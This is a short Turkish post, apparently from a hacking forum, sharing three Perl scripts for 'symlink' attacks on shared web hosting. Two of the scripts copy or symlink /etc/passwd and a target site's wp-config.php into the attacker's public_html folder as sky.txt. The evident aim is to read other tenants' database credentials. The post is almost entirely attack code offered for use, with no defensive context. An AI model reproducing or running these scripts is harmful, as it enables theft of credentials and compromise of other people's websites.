perl symlink tools

3 adet perl dosyası bırakıyorum düzenler sym çekersiniz beybitoşlarım :**

#!/usr/bin/perl -w

symlink("/tmp/text.txt", "/tmp/symlink_to_text.txt");

#!/usr/bin/perl

use File::Copy;

copy("/home/kullanıcıadı/public_html/sky/c1/cat/etc/passwd","/home/kullanıcıadı/public_html/sky/sky.txt");
copy("/home/hedefsitemizinpasswd/public_html/wp-config.php","/home/bulundugunuzpasswd/public_html/sky.txt");

#!/usr/bin/perl

symlink("/home/kullanıcıadı/public_html/sky/c1/cat/etc/passwd","/home/kullanıcıadı/public_html/sky/sky.txt");
symlink("/home/hedefsitemizinpasswd/public_html/wp-config.php","/home/bulundugunuzpasswd/public_html/sky.txt");